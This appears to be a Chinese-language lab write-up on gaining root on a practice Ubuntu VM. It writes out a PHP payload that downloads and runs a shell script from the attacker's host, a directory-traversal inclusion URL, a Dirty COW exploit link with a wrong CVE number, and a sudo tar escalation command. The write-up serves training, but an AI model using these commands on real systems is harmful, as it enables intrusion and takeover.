实验环境
攻击者:Kali Linux(192.168.0.19)
靶机:Oracle VM VirtualBox 6.1.10——Ubuntu(64-bit)(192.168.0.249)
实验流程
端口扫描 目录扫描 其中/dbadmin/疑似网站数据库后台管理页面 访问url:http://192.168.0.249/dbadmin 弱口令:admin 该web程序为phpliteadmin v1.9.3,存在远程代码执行漏洞,没有溢出代码,但是有一个利用文档中包含了对于该web应用程序getshell的流程,其中上传的PHP脚本文件需要进行访问才能生效。 漏洞探测 通过对该网站进行漏洞扫描发现该网站存在目录遍历漏洞 目录遍历漏洞验证 结合phpliteadmin的代码执行漏洞和目录遍历漏洞getshell 输入数据库名称,点击create创建数据库——hack.php 点击新创建的数据库,输入数据表名称和数据表中的字段数量,点击go,创建数据表 输入字段名、字段类型,点击create创建字段,注意字段类型选择text。 准备好要上传到服务器上面的文件 利用python创建HTTP服务,将root用户的家目录作为网站的根目录 点击新创建的数据库,选中新创建的数据表,点击insert插入数据。<?php system("wget http://192.168.0.19:8000/shell.php -O /tmp/shell.php; chmod +x /tmp/shell.php; php /tmp/shell.php;"); ?> 攻击机监听端口 利用目录遍历漏洞访问该文件反弹shell:http://192.168.0.249/view.php?page=…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/usr/databases/hack.php 获取当前权限:www-data是Linux操作系统中运行web服务的默认用户(权限较低) 获取操作系统内发行版本(Ubuntu 12.04.5 LTS)和内核版本(3.2.0-23-generic) 判断是否存在代码溢出漏洞,有溢出代码 利用脏牛提权(cve-2016-5159) 将提权文件上传到靶机 溢出代码下地址:https://github.com/FireFart/dirtycow 访问对应的数据库文件 优化shell 编译并执行溢出代码 赋予执行权限 执行溢出代码 切换用户 获取flag 利用密码复用进行提权 因为需要涉及到切换用户的问题同样需要利用python优化shell 利用获取到的低权限用户在系统中搜寻敏感信息,寻找一些可能存储了密码的敏感文件或者网站的配置文件等,一定要查看系统用户的家目录。 通过查看网站的配置文件拿到数据库用户zico的登录密码 尝试使用该密码切换到zico用户,成功 查看当前用户权限,普通系统用户。 查看当前用户使用sudo命令时的权限 当前用户在使用tar命令和zip命令时拥有root用户的权限,并且不需要验证密码 利用zip提权 首先创建一个空文件 提权成功 同样可以利用tar命令进行提权 sudo -u root tar cf /dev/null exp -checkpoint=1 --checkpoint-action="/bin/bash"